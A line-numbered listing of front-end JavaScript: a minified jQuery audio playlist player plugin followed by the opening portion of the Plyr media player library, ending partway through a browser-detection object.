| 1 |
/* streamcast */ |
| 2 |
/* musicplayer-min.js */ |
| 3 |
!(function (t, e, s, i) { |
| 4 |
"use strict"; |
| 5 |
var n = "musicPlayer", |
| 6 |
o = { |
| 7 |
playlistItemSelector: "li", |
| 8 |
autoPlay: !1, |
| 9 |
volume: 80, |
| 10 |
loop: !1, |
| 11 |
timeSeparator: " / ", |
| 12 |
playerAbovePlaylist: !0, |
| 13 |
infoElements: ["title", "artist"], |
| 14 |
elements: [ |
| 15 |
"artwork", |
| 16 |
"information", |
| 17 |
"controls", |
| 18 |
"progress", |
| 19 |
"time", |
| 20 |
"volume", |
| 21 |
], |
| 22 |
timeElements: ["current", "duration"], |
| 23 |
controlElements: ["backward", "play", "forward", "stop"], |
| 24 |
onLoad: function () {}, |
| 25 |
onPlay: function () {}, |
| 26 |
onPause: function () {}, |
| 27 |
onStop: function () {}, |
| 28 |
onFwd: function () {}, |
| 29 |
onRew: function () {}, |
| 30 |
volumeChanged: function () {}, |
| 31 |
seeked: function () {}, |
| 32 |
trackClicked: function () {}, |
| 33 |
onMute: function () {}, |
| 34 |
}, |
| 35 |
l = "ontouchstart" in e, |
| 36 |
a = l ? "touchstart" : "mousedown", |
| 37 |
r = l ? "touchmove" : "mousemove", |
| 38 |
d = l ? "touchcancel" : "mouseup"; |
| 39 |
function u(e, s) { |
| 40 |
(this.element = e), |
| 41 |
(this.settings = t.extend({}, o, s)), |
| 42 |
(this._defaults = o), |
| 43 |
(this._name = n), |
| 44 |
this.init(); |
| 45 |
} |
| 46 |
t.extend(u.prototype, { |
| 47 |
init: function () { |
| 48 |
var e, |
| 49 |
s = "", |
| 50 |
i = "", |
| 51 |
n = "", |
| 52 |
o = "", |
| 53 |
l = "", |
| 54 |
a = "", |
| 55 |
r = "", |
| 56 |
d = "", |
| 57 |
u = "", |
| 58 |
h = "", |
| 59 |
c = "", |
| 60 |
m = "", |
| 61 |
v = "", |
| 62 |
f = this; |
| 63 |
for (var p in this.settings.elements) |
| 64 |
if ("volume" == this.settings.elements[p]) |
| 65 |
o += |
| 66 |
"<div class='volume'><div class='volume-btn' title='Volume'></div><div class=' volume-adjust'><div><div></div></div></div></div>"; |
| 67 |
else if ("progress" == this.settings.elements[p]) |
| 68 |
o += |
| 69 |
"<div class='progressbar'><div class='bar-loaded' ></div><div class='bar-played'></div></div>"; |
| 70 |
else if ("artwork" == this.settings.elements[p]) |
| 71 |
o += "<div class='cover'></div>"; |
| 72 |
else if ("information" == this.settings.elements[p]) { |
| 73 |
(l = |
| 74 |
"-1" != t.inArray("title", this.settings.infoElements) |
| 75 |
? "<div class='title'></div>" |
| 76 |
: " "), |
| 77 |
(a = |
| 78 |
"-1" != t.inArray("artist", this.settings.infoElements) |
| 79 |
? "<div class='artist'></div>" |
| 80 |
: " "); |
| 81 |
for (var g in this.settings.infoElements) |
| 82 |
"title" == this.settings.infoElements[g] |
| 83 |
? (n += l) |
| 84 |
: "artist" == this.settings.infoElements[g] && (n += a); |
| 85 |
o += "<div class='info' >" + n + "</div>"; |
| 86 |
} else if ("time" == this.settings.elements[p]) { |
| 87 |
(c = |
| 88 |
"-1" != t.inArray("current", this.settings.timeElements) |
| 89 |
? "<div class='time-current'></div>" |
| 90 |
: " "), |
| 91 |
(m = |
| 92 |
"-1" != t.inArray("duration", this.settings.timeElements) |
| 93 |
? "<div class='time-duration'></div>" |
| 94 |
: " "), |
| 95 |
(v = |
| 96 |
"<div class='time-separator'>" + |
| 97 |
this.settings.timeSeparator.replace(/\s/g, " ") + |
| 98 |
"</div>"); |
| 99 |
for (var g in this.settings.timeElements) |
| 100 |
1 == g && (i += v), |
| 101 |
"current" == this.settings.timeElements[g] |
| 102 |
? (i += c) |
| 103 |
: "duration" == this.settings.timeElements[g] && (i += m); |
| 104 |
o += "<div class='timeHolder'>" + i + "</div>"; |
| 105 |
} else if ("controls" == this.settings.elements[p]) { |
| 106 |
(r = |
| 107 |
"-1" != t.inArray("backward", this.settings.controlElements) |
| 108 |
? "<div class='rew'></div>" |
| 109 |
: " "), |
| 110 |
(d = |
| 111 |
"-1" != t.inArray("forward", this.settings.controlElements) |
| 112 |
? "<div class='fwd'></div>" |
| 113 |
: " "), |
| 114 |
(u = |
| 115 |
"-1" != t.inArray("stop", this.settings.controlElements) |
| 116 |
? "<div class='stop'></div>" |
| 117 |
: " "), |
| 118 |
(h = |
| 119 |
"-1" != t.inArray("play", this.settings.controlElements) |
| 120 |
? "<div class='play'></div><div class='pause'></div>" |
| 121 |
: " "); |
| 122 |
for (var g in this.settings.controlElements) |
| 123 |
"backward" == this.settings.controlElements[g] |
| 124 |
? (s += r) |
| 125 |
: "play" == this.settings.controlElements[g] |
| 126 |
? (s += h) |
| 127 |
: "forward" == this.settings.controlElements[g] |
| 128 |
? (s += d) |
| 129 |
: "stop" == this.settings.controlElements[g] && (s += u); |
| 130 |
o += "<div class='controls'>" + s + "</div>"; |
| 131 |
} |
| 132 |
(e = t("<div class='player' >" + o + "</div>")), |
| 133 |
this.settings.playerAbovePlaylist |
| 134 |
? t(e).insertBefore(t(this.element).find(".playlist")) |
| 135 |
: t(e).insertAfter(t(this.element).find(".playlist")), |
| 136 |
(this.playlistItemSelector = this.settings.playlistItemSelector), |
| 137 |
(this.playlistHolder = t(this.element).children(".playlist")), |
| 138 |
(this.playerHolder = t(this.element).children(".player")), |
| 139 |
(this.song = ""), |
| 140 |
(this.theBar = this.playerHolder.find(".progressbar")), |
| 141 |
(this.barPlayed = this.playerHolder.find(".bar-played")), |
| 142 |
(this.barLoaded = this.playerHolder.find(".bar-loaded")), |
| 143 |
(this.timeCurrent = this.playerHolder.find(".time-current")), |
| 144 |
(this.timeDuration = this.playerHolder.find(".time-duration")), |
| 145 |
(this.timeSeparator = this.settings.timeSeparator), |
| 146 |
(this.volumeInfo = this.playerHolder.find(".volume")), |
| 147 |
(this.volumeButton = this.playerHolder.find(".volume-btn")), |
| 148 |
(this.volumeAdjuster = this.playerHolder.find(".volume-adjust > div")), |
| 149 |
(this.volumeValue = this.settings.volume / 100), |
| 150 |
(this.volumeDefault = 0), |
| 151 |
(this.trackInfo = this.playerHolder.find(".info")), |
| 152 |
(this.coverInfo = this.playerHolder.find(".cover")), |
| 153 |
(this.controlsInfo = this.playerHolder.find(".controls")), |
| 154 |
(this.controlPlay = t(this.controlsInfo).find(".play")), |
| 155 |
(this.controlPause = t(this.controlsInfo).find(".pause")), |
| 156 |
(this.controlStop = t(this.controlsInfo).find(".stop")), |
| 157 |
(this.controlFwd = t(this.controlsInfo).find(".fwd")), |
| 158 |
(this.controlRew = t(this.controlsInfo).find(".rew")), |
| 159 |
(this.cssClass = { playing: "playing", mute: "mute" }), |
| 160 |
/iPad|iPhone|iPod/.test(navigator.userAgent) && |
| 161 |
t(this.volumeInfo).hide(), |
| 162 |
this.initAudio( |
| 163 |
t(this.playlistHolder.find(this.playlistItemSelector + ":first")) |
| 164 |
), |
| 165 |
(this.song.volume = this.volumeValue), |
| 166 |
this.timeDuration.html("…"), |
| 167 |
this.timeCurrent.text(this.secondsToTime(0)), |
| 168 |
t(this.controlPlay).click(function (t) { |
| 169 |
t.preventDefault(), f.playAudio(); |
| 170 |
}), |
| 171 |
t(this.controlPause).click(function (t) { |
| 172 |
t.preventDefault(), f.stopAudio(), f.settings.onPause(); |
| 173 |
}), |
| 174 |
t(this.controlFwd).click(function (e) { |
| 175 |
e.preventDefault(), f.stopAudio(); |
| 176 |
var s = f.getSong(!0); |
| 177 |
0 == s.length && |
| 178 |
(s = t(f.playlistHolder).find(f.playlistItemSelector + ":first")), |
| 179 |
f.loadNewSong(s), |
| 180 |
f.playAudio(), |
| 181 |
f.settings.onFwd(); |
| 182 |
}), |
| 183 |
t(this.controlRew).click(function (e) { |
| 184 |
e.preventDefault(), f.stopAudio(); |
| 185 |
var s = f.getSong(!1); |
| 186 |
0 == s.length && |
| 187 |
(s = t(f.playlistHolder).find(f.playlistItemSelector + ":last")), |
| 188 |
f.loadNewSong(s), |
| 189 |
f.playAudio(), |
| 190 |
f.settings.onRew(); |
| 191 |
}), |
| 192 |
t(this.controlStop).click(function (t) { |
| 193 |
t.preventDefault(), |
| 194 |
f.stopAudio(), |
| 195 |
(f.song.currentTime = 0), |
| 196 |
f.settings.onStop(); |
| 197 |
}), |
| 198 |
t(this.playlistHolder) |
| 199 |
.find(this.playlistItemSelector) |
| 200 |
.click(function (e) { |
| 201 |
e.preventDefault(), |
| 202 |
f.stopAudio(), |
| 203 |
f.loadNewSong(t(this)), |
| 204 |
f.playAudio(), |
| 205 |
f.settings.trackClicked(); |
| 206 |
}); |
| 207 |
}, |
| 208 |
secondsToTime: function (t) { |
| 209 |
var e = Math.floor(t / 3600), |
| 210 |
s = Math.floor((t % 3600) / 60), |
| 211 |
i = Math.ceil((t % 3600) % 60); |
| 212 |
return ( |
| 213 |
(0 == e |
| 214 |
? "" |
| 215 |
: e > 0 && e.toString().length < 2 |
| 216 |
? "0" + e + ":" |
| 217 |
: e + ":") + |
| 218 |
(s.toString().length < 2 ? "0" + s : s) + |
| 219 |
":" + |
| 220 |
(i.toString().length < 2 ? "0" + i : i) |
| 221 |
); |
| 222 |
}, |
| 223 |
adjustVolume: function (t) { |
| 224 |
var e = l ? t.originalEvent.touches[0] : t; |
| 225 |
this.song.volume = Math.abs( |
| 226 |
(e.pageX - this.volumeAdjuster.offset().left) / |
| 227 |
this.volumeAdjuster.width() |
| 228 |
); |
| 229 |
}, |
| 230 |
adjustCurrentTime: function (t) { |
| 231 |
var e = l ? t.originalEvent.touches[0] : t; |
| 232 |
this.song.currentTime = Math.round( |
| 233 |
(this.song.duration * (e.pageX - this.theBar.offset().left)) / |
| 234 |
this.theBar.width() |
| 235 |
); |
| 236 |
}, |
| 237 |
initAudio: function (e) { |
| 238 |
var s = e.children("a:first-child").attr("href"), |
| 239 |
i = e.text(), |
| 240 |
n = e.attr("data-cover"), |
| 241 |
o = e.attr("data-artist"), |
| 242 |
l = this; |
| 243 |
t(this.trackInfo).children(".title").text(i), |
| 244 |
t(this.trackInfo).children(".artist").text(o), |
| 245 |
t(this.coverInfo).css("background-image", "url(" + n + ")"), |
| 246 |
(this.song = new Audio(s)), |
| 247 |
this.song.load(), |
| 248 |
this.song.addEventListener( |
| 249 |
"loadeddata", |
| 250 |
function () { |
| 251 |
t(l.timeDuration).html(l.secondsToTime(this.duration)), |
| 252 |
t(l.volumeAdjuster) |
| 253 |
.find("div") |
| 254 |
.width(100 * this.volume + "%"), |
| 255 |
(l.volumeDefault = this.volume); |
| 256 |
}, |
| 257 |
!1 |
| 258 |
), |
| 259 |
this.song.addEventListener("progress", function () { |
| 260 |
t(l.barLoaded).width( |
| 261 |
(this.buffered.end(0) / this.duration) * 100 + "%" |
| 262 |
); |
| 263 |
}), |
| 264 |
this.song.addEventListener("timeupdate", function () { |
| 265 |
t(l.timeCurrent).text(l.secondsToTime(this.currentTime)), |
| 266 |
t(l.barPlayed).width( |
| 267 |
(this.currentTime / this.duration) * 100 + "%" |
| 268 |
); |
| 269 |
}), |
| 270 |
this.song.addEventListener("volumechange", function () { |
| 271 |
Number(Math.round(100 * this.volume + "e1") + "e-1") <= 0.4 && |
| 272 |
(this.volume = 0), |
| 273 |
t(l.volumeAdjuster) |
| 274 |
.find("div") |
| 275 |
.width(100 * this.volume + "%"), |
| 276 |
this.volume > 0 && |
| 277 |
l.playerHolder.hasClass(l.cssClass.mute) && |
| 278 |
l.playerHolder.removeClass(l.cssClass.mute), |
| 279 |
this.volume <= 0 && |
| 280 |
!l.playerHolder.hasClass(l.cssClass.mute) && |
| 281 |
l.playerHolder.addClass(l.cssClass.mute), |
| 282 |
(l.volumeValue = this.volume); |
| 283 |
}), |
| 284 |
this.song.addEventListener("ended", function () { |
| 285 |
l.settings.autoPlay |
| 286 |
? l.autoPlayNext() |
| 287 |
: (l.playerHolder.removeClass(l.cssClass.playing), |
| 288 |
t(l.controlPlay).removeClass("hidden"), |
| 289 |
t(l.controlPause).removeClass("visible")); |
| 290 |
}), |
| 291 |
t(this.volumeButton).on("click", function () { |
| 292 |
return ( |
| 293 |
t(l.playerHolder).hasClass(l.cssClass.mute) |
| 294 |
? (t(l.playerHolder).removeClass(l.cssClass.mute), |
| 295 |
(l.song.volume = l.volumeDefault)) |
| 296 |
: (t(l.playerHolder).addClass(l.cssClass.mute), |
| 297 |
(l.volumeDefault = l.song.volume), |
| 298 |
(l.song.volume = 0), |
| 299 |
l.settings.onMute()), |
| 300 |
!1 |
| 301 |
); |
| 302 |
}), |
| 303 |
t(this.volumeAdjuster) |
| 304 |
.on(a, function (t) { |
| 305 |
l.adjustVolume(t), |
| 306 |
l.volumeAdjuster.on(r, function (t) { |
| 307 |
l.adjustVolume(t); |
| 308 |
}), |
| 309 |
l.settings.volumeChanged(); |
| 310 |
}) |
| 311 |
.on(d, function () { |
| 312 |
l.volumeAdjuster.unbind(r); |
| 313 |
}), |
| 314 |
t(this.theBar) |
| 315 |
.on(a, function (t) { |
| 316 |
l.adjustCurrentTime(t), |
| 317 |
l.theBar.on(r, function (t) { |
| 318 |
l.adjustCurrentTime(t); |
| 319 |
}); |
| 320 |
}) |
| 321 |
.on(d, function () { |
| 322 |
l.theBar.unbind(r), l.settings.seeked(); |
| 323 |
}), |
| 324 |
t(this.playlistHolder) |
| 325 |
.find(l.playlistItemSelector) |
| 326 |
.removeClass("active"), |
| 327 |
e.addClass("active"), |
| 328 |
this.settings.onLoad(), |
| 329 |
this.settings.autoPlay && this.playAudio(); |
| 330 |
}, |
| 331 |
playAudio: function () { |
| 332 |
this.song.play(), |
| 333 |
this.playerHolder.addClass(this.cssClass.playing), |
| 334 |
"-1" != t.inArray("controls", this.settings.elements) && |
| 335 |
"-1" != t.inArray("play", this.settings.controlElements) && |
| 336 |
(t(this.controlPlay).addClass("hidden"), |
| 337 |
t(this.controlPause).addClass("visible")), |
| 338 |
this.settings.onPlay(); |
| 339 |
}, |
| 340 |
stopAudio: function () { |
| 341 |
this.song.pause(), |
| 342 |
this.playerHolder.removeClass(this.cssClass.playing), |
| 343 |
"-1" != t.inArray("controls", this.settings.elements) && |
| 344 |
"-1" != t.inArray("play", this.settings.controlElements) && |
| 345 |
(t(this.controlPlay).removeClass("hidden"), |
| 346 |
t(this.controlPause).removeClass("visible")); |
| 347 |
}, |
| 348 |
autoPlayNext: function () { |
| 349 |
this.stopAudio(); |
| 350 |
var e = this.getSong(!0); |
| 351 |
0 == e.length && this.settings.loop |
| 352 |
? ((e = t(this.playlistHolder).find( |
| 353 |
this.playlistItemSelector + ":first" |
| 354 |
)), |
| 355 |
this.loadNewSong(e), |
| 356 |
this.playAudio()) |
| 357 |
: 0 == !e.length && (this.loadNewSong(e), this.playAudio()); |
| 358 |
}, |
| 359 |
getSong: function (e) { |
| 360 |
var s = t(this.playlistHolder).find(this.playlistItemSelector), |
| 361 |
i = t(this.playlistItemSelector + ".active"); |
| 362 |
return e ? s.eq(s.index(i) + 1) : s.eq(s.index(i) - 1); |
| 363 |
}, |
| 364 |
loadNewSong: function (t) { |
| 365 |
(this.volumeValue = this.song.volume), |
| 366 |
this.initAudio(t), |
| 367 |
(this.song.volume = this.volumeValue), |
| 368 |
this.volumeAdjuster.find("div").width(100 * this.volumeValue + "%"), |
| 369 |
this.barPlayed.width(0), |
| 370 |
this.barLoaded.width(0); |
| 371 |
}, |
| 372 |
}), |
| 373 |
(t.fn[n] = function (e) { |
| 374 |
return this.each(function () { |
| 375 |
t.data(this, "plugin_" + n) || |
| 376 |
t.data(this, "plugin_" + n, new u(this, e)); |
| 377 |
}); |
| 378 |
}); |
| 379 |
})(jQuery, window, document); |
| 380 |
|
| 381 |
/* plyr.js */ |
| 382 |
"object" == typeof navigator && |
| 383 |
(function (e, t) { |
| 384 |
"object" == typeof exports && "undefined" != typeof module |
| 385 |
? (module.exports = t()) |
| 386 |
: "function" == typeof define && define.amd |
| 387 |
? define("Plyr", t) |
| 388 |
: (e.Plyr = t()); |
| 389 |
})(this, function () { |
| 390 |
"use strict"; |
| 391 |
function e(e, t) { |
| 392 |
if (!(e instanceof t)) |
| 393 |
throw new TypeError("Cannot call a class as a function"); |
| 394 |
} |
| 395 |
function t(e, t) { |
| 396 |
for (var n = 0; n < t.length; n++) { |
| 397 |
var i = t[n]; |
| 398 |
(i.enumerable = i.enumerable || !1), |
| 399 |
(i.configurable = !0), |
| 400 |
"value" in i && (i.writable = !0), |
| 401 |
Object.defineProperty(e, i.key, i); |
| 402 |
} |
| 403 |
} |
| 404 |
function n(e, n, i) { |
| 405 |
return n && t(e.prototype, n), i && t(e, i), e; |
| 406 |
} |
| 407 |
function i(e, t, n) { |
| 408 |
return ( |
| 409 |
t in e |
| 410 |
? Object.defineProperty(e, t, { |
| 411 |
value: n, |
| 412 |
enumerable: !0, |
| 413 |
configurable: !0, |
| 414 |
writable: !0, |
| 415 |
}) |
| 416 |
: (e[t] = n), |
| 417 |
e |
| 418 |
); |
| 419 |
} |
| 420 |
function a(e, t) { |
| 421 |
return ( |
| 422 |
(function (e) { |
| 423 |
if (Array.isArray(e)) return e; |
| 424 |
})(e) || |
| 425 |
(function (e, t) { |
| 426 |
var n = [], |
| 427 |
i = !0, |
| 428 |
a = !1, |
| 429 |
s = void 0; |
| 430 |
try { |
| 431 |
for ( |
| 432 |
var o, r = e[Symbol.iterator](); |
| 433 |
!(i = (o = r.next()).done) && |
| 434 |
(n.push(o.value), !t || n.length !== t); |
| 435 |
i = !0 |
| 436 |
); |
| 437 |
} catch (e) { |
| 438 |
(a = !0), (s = e); |
| 439 |
} finally { |
| 440 |
try { |
| 441 |
i || null == r.return || r.return(); |
| 442 |
} finally { |
| 443 |
if (a) throw s; |
| 444 |
} |
| 445 |
} |
| 446 |
return n; |
| 447 |
})(e, t) || |
| 448 |
(function () { |
| 449 |
throw new TypeError( |
| 450 |
"Invalid attempt to destructure non-iterable instance" |
| 451 |
); |
| 452 |
})() |
| 453 |
); |
| 454 |
} |
| 455 |
function s(e) { |
| 456 |
return ( |
| 457 |
(function (e) { |
| 458 |
if (Array.isArray(e)) { |
| 459 |
for (var t = 0, n = new Array(e.length); t < e.length; t++) |
| 460 |
n[t] = e[t]; |
| 461 |
return n; |
| 462 |
} |
| 463 |
})(e) || |
| 464 |
(function (e) { |
| 465 |
if ( |
| 466 |
Symbol.iterator in Object(e) || |
| 467 |
"[object Arguments]" === Object.prototype.toString.call(e) |
| 468 |
) |
| 469 |
return Array.from(e); |
| 470 |
})(e) || |
| 471 |
(function () { |
| 472 |
throw new TypeError( |
| 473 |
"Invalid attempt to spread non-iterable instance" |
| 474 |
); |
| 475 |
})() |
| 476 |
); |
| 477 |
} |
| 478 |
var o = function (e) { |
| 479 |
return null != e ? e.constructor : null; |
| 480 |
}, |
| 481 |
r = function (e, t) { |
| 482 |
return Boolean(e && t && e instanceof t); |
| 483 |
}, |
| 484 |
l = function (e) { |
| 485 |
return null == e; |
| 486 |
}, |
| 487 |
c = function (e) { |
| 488 |
return o(e) === Object; |
| 489 |
}, |
| 490 |
u = function (e) { |
| 491 |
return o(e) === String; |
| 492 |
}, |
| 493 |
d = function (e) { |
| 494 |
return Array.isArray(e); |
| 495 |
}, |
| 496 |
h = function (e) { |
| 497 |
return r(e, NodeList); |
| 498 |
}, |
| 499 |
p = function (e) { |
| 500 |
return ( |
| 501 |
l(e) || |
| 502 |
((u(e) || d(e) || h(e)) && !e.length) || |
| 503 |
(c(e) && !Object.keys(e).length) |
| 504 |
); |
| 505 |
}, |
| 506 |
m = { |
| 507 |
nullOrUndefined: l, |
| 508 |
object: c, |
| 509 |
number: function (e) { |
| 510 |
return o(e) === Number && !Number.isNaN(e); |
| 511 |
}, |
| 512 |
string: u, |
| 513 |
boolean: function (e) { |
| 514 |
return o(e) === Boolean; |
| 515 |
}, |
| 516 |
function: function (e) { |
| 517 |
return o(e) === Function; |
| 518 |
}, |
| 519 |
array: d, |
| 520 |
weakMap: function (e) { |
| 521 |
return r(e, WeakMap); |
| 522 |
}, |
| 523 |
nodeList: h, |
| 524 |
element: function (e) { |
| 525 |
return r(e, Element); |
| 526 |
}, |
| 527 |
textNode: function (e) { |
| 528 |
return o(e) === Text; |
| 529 |
}, |
| 530 |
event: function (e) { |
| 531 |
return r(e, Event); |
| 532 |
}, |
| 533 |
keyboardEvent: function (e) { |
| 534 |
return r(e, KeyboardEvent); |
| 535 |
}, |
| 536 |
cue: function (e) { |
| 537 |
return r(e, window.TextTrackCue) || r(e, window.VTTCue); |
| 538 |
}, |
| 539 |
track: function (e) { |
| 540 |
return r(e, TextTrack) || (!l(e) && u(e.kind)); |
| 541 |
}, |
| 542 |
url: function (e) { |
| 543 |
if (r(e, window.URL)) return !0; |
| 544 |
if (!u(e)) return !1; |
| 545 |
var t = e; |
| 546 |
(e.startsWith("http://") && e.startsWith("https://")) || |
| 547 |
(t = "http://".concat(e)); |
| 548 |
try { |
| 549 |
return !p(new URL(t).hostname); |
| 550 |
} catch (e) { |
| 551 |
return !1; |
| 552 |
} |
| 553 |
}, |
| 554 |
empty: p, |
| 555 |
}, |
| 556 |
f = (function () { |
| 557 |
var e = !1; |
| 558 |
try { |
| 559 |
var t = Object.defineProperty({}, "passive", { |
| 560 |
get: function () { |
| 561 |
return (e = !0), null; |
| 562 |
}, |
| 563 |
}); |
| 564 |
window.addEventListener("test", null, t), |
| 565 |
window.removeEventListener("test", null, t); |
| 566 |
} catch (e) {} |
| 567 |
return e; |
| 568 |
})(); |
| 569 |
function g(e, t, n) { |
| 570 |
var i = this, |
| 571 |
a = arguments.length > 3 && void 0 !== arguments[3] && arguments[3], |
| 572 |
s = !(arguments.length > 4 && void 0 !== arguments[4]) || arguments[4], |
| 573 |
o = arguments.length > 5 && void 0 !== arguments[5] && arguments[5]; |
| 574 |
if (e && "addEventListener" in e && !m.empty(t) && m.function(n)) { |
| 575 |
var r = t.split(" "), |
| 576 |
l = o; |
| 577 |
f && (l = { passive: s, capture: o }), |
| 578 |
r.forEach(function (t) { |
| 579 |
i && |
| 580 |
i.eventListeners && |
| 581 |
a && |
| 582 |
i.eventListeners.push({ |
| 583 |
element: e, |
| 584 |
type: t, |
| 585 |
callback: n, |
| 586 |
options: l, |
| 587 |
}), |
| 588 |
e[a ? "addEventListener" : "removeEventListener"](t, n, l); |
| 589 |
}); |
| 590 |
} |
| 591 |
} |
| 592 |
function y(e) { |
| 593 |
var t = |
| 594 |
arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : "", |
| 595 |
n = arguments.length > 2 ? arguments[2] : void 0, |
| 596 |
i = !(arguments.length > 3 && void 0 !== arguments[3]) || arguments[3], |
| 597 |
a = arguments.length > 4 && void 0 !== arguments[4] && arguments[4]; |
| 598 |
g.call(this, e, t, n, !0, i, a); |
| 599 |
} |
| 600 |
function v(e) { |
| 601 |
var t = |
| 602 |
arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : "", |
| 603 |
n = arguments.length > 2 ? arguments[2] : void 0, |
| 604 |
i = !(arguments.length > 3 && void 0 !== arguments[3]) || arguments[3], |
| 605 |
a = arguments.length > 4 && void 0 !== arguments[4] && arguments[4]; |
| 606 |
g.call(this, e, t, n, !1, i, a); |
| 607 |
} |
| 608 |
function b(e) { |
| 609 |
var t = |
| 610 |
arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : "", |
| 611 |
n = arguments.length > 2 ? arguments[2] : void 0, |
| 612 |
i = !(arguments.length > 3 && void 0 !== arguments[3]) || arguments[3], |
| 613 |
a = arguments.length > 4 && void 0 !== arguments[4] && arguments[4]; |
| 614 |
g.call( |
| 615 |
this, |
| 616 |
e, |
| 617 |
t, |
| 618 |
function s() { |
| 619 |
v(e, t, s, i, a); |
| 620 |
for (var o = arguments.length, r = new Array(o), l = 0; l < o; l++) |
| 621 |
r[l] = arguments[l]; |
| 622 |
n.apply(this, r); |
| 623 |
}, |
| 624 |
!0, |
| 625 |
i, |
| 626 |
a |
| 627 |
); |
| 628 |
} |
| 629 |
function k(e) { |
| 630 |
var t = |
| 631 |
arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : "", |
| 632 |
n = arguments.length > 2 && void 0 !== arguments[2] && arguments[2], |
| 633 |
i = arguments.length > 3 && void 0 !== arguments[3] ? arguments[3] : {}; |
| 634 |
if (m.element(e) && !m.empty(t)) { |
| 635 |
var a = new CustomEvent(t, { |
| 636 |
bubbles: n, |
| 637 |
detail: Object.assign({}, i, { plyr: this }), |
| 638 |
}); |
| 639 |
e.dispatchEvent(a); |
| 640 |
} |
| 641 |
} |
| 642 |
function w(e, t) { |
| 643 |
var n = e.length ? e : [e]; |
| 644 |
Array.from(n) |
| 645 |
.reverse() |
| 646 |
.forEach(function (e, n) { |
| 647 |
var i = n > 0 ? t.cloneNode(!0) : t, |
| 648 |
a = e.parentNode, |
| 649 |
s = e.nextSibling; |
| 650 |
i.appendChild(e), s ? a.insertBefore(i, s) : a.appendChild(i); |
| 651 |
}); |
| 652 |
} |
| 653 |
function T(e, t) { |
| 654 |
m.element(e) && |
| 655 |
!m.empty(t) && |
| 656 |
Object.entries(t) |
| 657 |
.filter(function (e) { |
| 658 |
var t = a(e, 2)[1]; |
| 659 |
return !m.nullOrUndefined(t); |
| 660 |
}) |
| 661 |
.forEach(function (t) { |
| 662 |
var n = a(t, 2), |
| 663 |
i = n[0], |
| 664 |
s = n[1]; |
| 665 |
return e.setAttribute(i, s); |
| 666 |
}); |
| 667 |
} |
| 668 |
function A(e, t, n) { |
| 669 |
var i = document.createElement(e); |
| 670 |
return m.object(t) && T(i, t), m.string(n) && (i.innerText = n), i; |
| 671 |
} |
| 672 |
function E(e, t, n, i) { |
| 673 |
m.element(t) && t.appendChild(A(e, n, i)); |
| 674 |
} |
| 675 |
function P(e) { |
| 676 |
m.nodeList(e) || m.array(e) |
| 677 |
? Array.from(e).forEach(P) |
| 678 |
: m.element(e) && |
| 679 |
m.element(e.parentNode) && |
| 680 |
e.parentNode.removeChild(e); |
| 681 |
} |
| 682 |
function C(e) { |
| 683 |
if (m.element(e)) |
| 684 |
for (var t = e.childNodes.length; t > 0; ) |
| 685 |
e.removeChild(e.lastChild), (t -= 1); |
| 686 |
} |
| 687 |
function S(e, t) { |
| 688 |
return m.element(t) && m.element(t.parentNode) && m.element(e) |
| 689 |
? (t.parentNode.replaceChild(e, t), e) |
| 690 |
: null; |
| 691 |
} |
| 692 |
function M(e, t) { |
| 693 |
if (!m.string(e) || m.empty(e)) return {}; |
| 694 |
var n = {}, |
| 695 |
i = t; |
| 696 |
return ( |
| 697 |
e.split(",").forEach(function (e) { |
| 698 |
var t = e.trim(), |
| 699 |
a = t.replace(".", ""), |
| 700 |
s = t.replace(/[[\]]/g, "").split("="), |
| 701 |
o = s[0], |
| 702 |
r = s.length > 1 ? s[1].replace(/["']/g, "") : ""; |
| 703 |
switch (t.charAt(0)) { |
| 704 |
case ".": |
| 705 |
m.object(i) && m.string(i.class) && (i.class += " ".concat(a)), |
| 706 |
(n.class = a); |
| 707 |
break; |
| 708 |
case "#": |
| 709 |
n.id = t.replace("#", ""); |
| 710 |
break; |
| 711 |
case "[": |
| 712 |
n[o] = r; |
| 713 |
} |
| 714 |
}), |
| 715 |
n |
| 716 |
); |
| 717 |
} |
| 718 |
function N(e, t) { |
| 719 |
if (m.element(e)) { |
| 720 |
var n = t; |
| 721 |
m.boolean(n) || (n = !e.hidden), |
| 722 |
n ? e.setAttribute("hidden", "") : e.removeAttribute("hidden"); |
| 723 |
} |
| 724 |
} |
| 725 |
function L(e, t, n) { |
| 726 |
if (m.nodeList(e)) |
| 727 |
return Array.from(e).map(function (e) { |
| 728 |
return L(e, t, n); |
| 729 |
}); |
| 730 |
if (m.element(e)) { |
| 731 |
var i = "toggle"; |
| 732 |
return ( |
| 733 |
void 0 !== n && (i = n ? "add" : "remove"), |
| 734 |
e.classList[i](t), |
| 735 |
e.classList.contains(t) |
| 736 |
); |
| 737 |
} |
| 738 |
return !1; |
| 739 |
} |
| 740 |
function x(e, t) { |
| 741 |
return m.element(e) && e.classList.contains(t); |
| 742 |
} |
| 743 |
function I(e, t) { |
| 744 |
return function () { |
| 745 |
return Array.from(document.querySelectorAll(t)).includes(this); |
| 746 |
}.call(e, t); |
| 747 |
} |
| 748 |
function _(e) { |
| 749 |
return this.elements.container.querySelectorAll(e); |
| 750 |
} |
| 751 |
function j(e) { |
| 752 |
return this.elements.container.querySelector(e); |
| 753 |
} |
| 754 |
function O() { |
| 755 |
var e = |
| 756 |
arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : null, |
| 757 |
t = arguments.length > 1 && void 0 !== arguments[1] && arguments[1]; |
| 758 |
m.element(e) && |
| 759 |
(e.focus({ preventScroll: !0 }), |
| 760 |
t && L(e, this.config.classNames.tabFocus)); |
| 761 |
} |
| 762 |
var q, |
| 763 |
R, |
| 764 |
B, |
| 765 |
D = |
| 766 |
((q = document.createElement("span")), |
| 767 |
(R = { |
| 768 |
WebkitTransition: "webkitTransitionEnd", |
| 769 |
MozTransition: "transitionend", |
| 770 |
OTransition: "oTransitionEnd otransitionend", |
| 771 |
transition: "transitionend", |
| 772 |
}), |
| 773 |
(B = Object.keys(R).find(function (e) { |
| 774 |
return void 0 !== q.style[e]; |
| 775 |
})), |
| 776 |
!!m.string(B) && R[B]); |
| 777 |
function H(e) { |
| 778 |
setTimeout(function () { |
| 779 |
try { |
| 780 |
N(e, !0), e.offsetHeight, N(e, !1); |
| 781 |
} catch (e) {} |
| 782 |
}, 0); |
| 783 |
} |
| 784 |
var V, |
| 785 |
F = { |
| 786 |
isIE: !!document.documentMode, |
| 787 |
isWebkit: |
| 788 |
